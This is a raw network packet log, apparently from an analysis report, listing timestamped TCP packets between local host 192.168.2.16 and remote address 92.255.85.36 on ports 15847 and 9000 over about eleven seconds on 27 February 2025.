Feb 27, 2025 20:25:48.187577963 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.189393997 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.194461107 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.260247946 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.302530050 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.307765007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.381645918 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.411403894 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.416590929 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.506711960 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.523236990 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.528583050 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.624074936 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.634464025 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.639633894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.745603085 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.746107101 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.751157045 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.859911919 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.865247965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.866631031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:48.920595884 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:48.970633030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.000870943 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.048578024 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.081304073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.109503031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.159594059 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.192118883 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.230719090 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.271653891 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.304377079 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.354640961 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.399604082 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.416393995 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.466768980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.475843906 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.527596951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.530498028 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.538345098 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.597047091 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.638602972 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.641407013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.648163080 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.715770006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.750427961 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.755691051 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.845335007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.861257076 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.866374969 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.966772079 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:49.973858118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:49.978986979 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.086002111 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.088656902 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.091166019 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.132597923 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.197710037 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.202996016 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.209168911 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.260580063 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.309606075 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.340750933 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.388586998 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.422053099 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.451710939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.500610113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.533231020 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.573043108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.630561113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.646842003 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.692320108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.695657969 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.740617037 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.757143974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.762655020 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.816364050 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.869366884 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.870071888 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.875246048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.936881065 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:50.981842041 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.983234882 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:50.988635063 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.058110952 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.093121052 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.098444939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.180061102 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.205456018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.210689068 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.300901890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.315571070 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.320873976 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.422771931 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.427242041 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.432497978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.539762974 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.544150114 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.544934988 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.586611032 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.651635885 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.656825066 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.669651985 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.714611053 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.763288975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.805699110 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.858649969 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.876321077 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.912098885 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:51.954601049 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:51.988151073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.036732912 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.082597017 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.099318981 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.148739100 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.158108950 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.209604025 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.211046934 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.216142893 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.278901100 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.321645021 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.324887991 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.329989910 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.400250912 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.434180975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.439532995 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.523087025 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.546181917 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.551378965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.642786980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.659296989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.664586067 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.763998985 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.774034023 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.779223919 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.884429932 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.885364056 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.886728048 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:52.889611959 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:52.995620966 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.000938892 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.007997036 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.057811975 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.106395006 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.137931108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.185627937 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.219336987 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.249140978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.296699047 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.331141949 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.370743990 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.424747944 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.441550970 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.488290071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.498327971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.551585913 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.553596020 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.558834076 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.613188028 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.664057970 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.665417910 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.670677900 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.734554052 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.775630951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.777151108 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.782821894 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.856483936 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.888516903 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:53.894200087 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:53.976933002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.000248909 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.005364895 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.098417044 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.113126040 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.118333101 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.219362974 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.225701094 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.230897903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.336477041 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.341974020 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.345402002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.399599075 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.448193073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.500286102 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.505389929 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.559736013 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.561170101 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.567483902 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.593821049 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.639702082 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.675065041 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.710844040 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.751696110 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.784229994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.832097054 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.879682064 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.898231030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:54.948254108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:54.953506947 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.009386063 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.009679079 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.014744997 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.074600935 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.119658947 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.120264053 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.125376940 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.196002007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.231228113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.236521006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.317508936 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.343842983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.349030972 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.441387892 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.454324007 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.459625959 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.562771082 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.568418026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.573580980 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.678944111 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.684741020 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.739773989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.788635015 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.805380106 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.851723909 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.900490999 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:55.936964989 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:55.979682922 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.012397051 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.051357031 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.091625929 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.125153065 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.172342062 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.172621012 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.219603062 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.238558054 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.243803024 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.298902988 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.347739935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.349971056 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.355122089 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.420033932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.459641933 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.460599899 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.465806007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.541440964 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.572235107 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.577480078 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.662677050 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.682223082 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.687330961 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.784075975 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.794100046 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.799201965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.904963017 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.905308008 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:56.905384064 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:56.910028934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.017657042 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.022797108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.026566982 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.079720020 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.129089117 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.156966925 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.207653046 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.240323067 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.269685030 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.319724083 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.352333069 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.391613007 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.431782007 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.464620113 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.512442112 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.512845039 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.559643984 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.577091932 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.583017111 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.687347889 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.804224968 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.804354906 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.805252075 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.806099892 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.809437990 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.846636057 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.882985115 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:57.911483049 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:57.916560888 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.015904903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.023559093 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.028702021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.135693073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.137142897 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.140809059 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.182647943 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.249110937 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.254349947 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.258446932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.310631990 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.359491110 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.388776064 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.388850927 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.444300890 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.470535994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.475684881 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.501215935 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.549634933 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.582353115 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.628268003 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.633136988 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.672527075 CET	52670	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.676654100 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.677596092 CET	9000	52670	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.677680969 CET	52670	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.677886009 CET	52670	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.682909966 CET	9000	52670	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.694650888 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.699789047 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.764751911 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.804929018 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.810112953 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.898880005 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:58.920000076 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:58.925199986 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.013792992 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.028743982 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.033924103 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.122508049 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.140542030 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.145818949 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.234445095 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.252625942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:25:59.257812977 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.351845026 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:25:59.362643003 CET	9000	52670	92.255.85.36	192.168.2.16
